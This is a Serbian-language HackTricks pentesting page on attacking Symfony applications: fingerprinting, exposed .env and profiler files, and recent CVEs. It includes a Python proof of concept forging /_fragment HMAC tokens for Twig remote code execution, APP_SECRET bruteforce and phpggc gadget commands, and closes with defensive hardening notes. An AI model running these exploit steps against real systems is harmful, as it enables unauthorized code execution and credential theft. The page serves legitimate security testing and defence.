Symfony
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Symfony je jedan od najčešće korišćenih PHP okvira i redovno se pojavljuje u procenama ciljeva preduzeća, e-trgovine i CMS-a (Drupal, Shopware, Ibexa, OroCRM … svi ugrađuju Symfony komponente). Ova stranica prikuplja ofanzivne savete, uobičajene greške u konfiguraciji i nedavne ranjivosti koje treba da imate na svojoj listi kada otkrijete Symfony aplikaciju.
Istorijska napomena: Veliki deo ekosistema još uvek koristi 5.4 LTS granu (EOL novembar 2025). Uvek proverite tačnu minor verziju jer mnoge sigurnosne preporuke iz 2023-2025. godine ispravljene su samo u zakrpama (npr. 5.4.46 → 5.4.50).
Recon & Enumeration
Finger-printing
- HTTP odgovori:
X-Powered-By: Symfony
,X-Debug-Token
,X-Debug-Token-Link
ili kolačići koji počinju sasf_redirect
,sf_session
,MOCKSESSID
. - Curenje izvornog koda (
composer.json
,composer.lock
,/vendor/…
) često otkriva tačnu verziju:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Javne rute koje postoje samo na Symfony:
/_profiler
(Symfony Profiler & debug toolbar)/_wdt/<token>
(“Web Debug Toolbar”)/_error/{code}.{_format}
(lepe stranice grešaka)/app_dev.php
,/config.php
,/config_dev.php
(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith ili ffuf/feroxbuster liste reči:
symfony.txt
→ tražite/_fragment
,/_profiler
,.env
,.htaccess
.
Zanimljive datoteke & krajnje tačke
Putanja | Zašto je važna |
---|---|
/.env , /.env.local , /.env.prod | Često pogrešno raspoređene → curenje APP_SECRET , DB kredencijali, SMTP, AWS ključevi |
/.git , .svn , .hg | Otkriće izvora → kredencijali + poslovna logika |
/var/log/*.log , /log/dev.log | Pogrešna konfiguracija web-root-a otkriva stack-traces |
/_profiler | Puna istorija zahteva, konfiguracija, servisni kontejner, APP_SECRET (≤ 3.4) |
/_fragment | Ulazna tačka koju koristi ESI/HInclude. Zloupotreba moguća kada znate APP_SECRET |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE ako je dostupan (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & ponekad curenje izuzetaka |
Visoko uticajne ranjivosti (2023-2025)
1. Otkriće APP_SECRET ➜ RCE putem /_fragment
(poznato kao “secret-fragment”)
- CVE-2019-18889 prvobitno, ali još uvek se pojavljuje na modernim ciljevima kada je debug ostavljen uključen ili je
.env
izložen. - Kada znate 32-znamenkasti
APP_SECRET
, kreirajte HMAC token i zloupotrebite unutrašnjirender()
kontroler da izvršite proizvoljni Twig:
# PoC – zahteva tajnu
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE u Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Odličan članak i skripta za eksploataciju: Ambionics blog (linkovan u Referencama).
2. Windows Process Hijack – CVE-2024-51736
Process
komponenta pretražuje trenutni radni direktorijum prePATH
na Windows-u. Napadač koji može da otpremitar.exe
,cmd.exe
, itd. u pisiv web-root i pokreneProcess
(npr. ekstrakcija datoteka, generisanje PDF-a) dobija izvršenje komandi.- Ispravljeno u 5.4.50, 6.4.14, 7.1.7.
3. Session-Fixation – CVE-2023-46733
- Autentifikacioni čuvar ponovo koristi postojeći ID sesije nakon prijave. Ako napadač postavi kolačić pre nego što žrtva autentifikuje, preuzima nalog nakon prijave.
4. Twig sandbox XSS – CVE-2023-46734
- U aplikacijama koje izlažu korisnički kontrolisane šablone (admin CMS, graditelj e-pošte)
nl2br
filter može biti zloupotrebljen da zaobiđe sandbox i injektuje JS.
5. Symfony 1 gadget lanci (još uvek se nalaze u nasleđenim aplikacijama)
phpggc symfony/1 system id
proizvodi Phar payload koji pokreće RCE kada se desi unserialize() na klasama kao što susfNamespacedParameterHolder
. Proverite krajnje tačke za otpremu datoteka iphar://
omotače.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Izračunajte HMAC token za /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce slabe APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE putem izloženog Symfony Console
Ako je bin/console
dostupan putem php-fpm
ili direktnog CLI upload-a:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Koristite deserialization gadgets unutar direktorijuma keša ili napišite zloćudni Twig šablon koji će biti izvršen pri sledećem zahtevu.
Odbrambene napomene
- Nikada ne postavljajte debug (
APP_ENV=dev
,APP_DEBUG=1
) u produkciju; blokirajte/app_dev.php
,/_profiler
,/_wdt
u konfiguraciji veb servera. - Čuvajte tajne u env varijablama ili
vault/secrets.local.php
, nikada u datotekama dostupnim kroz dokument-root. - Sprovodite upravljanje zakrpama – prijavite se na Symfony bezbednosne obaveštenja i održavajte barem LTS nivo zakrpa.
- Ako radite na Windows-u, odmah se nadogradite da biste ublažili CVE-2024-51736 ili dodajte
open_basedir
/disable_functions
odbranu u dubini.
Korisni ofanzivni alati
- ambionics/symfony-exploits – secret-fragment RCE, otkrivanje ruta debagera.
- phpggc – Gotove lančane gadgete za Symfony 1 i 2.
- sf-encoder – mali pomoćnik za izračunavanje
_fragment
HMAC (Go implementacija).
Reference
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.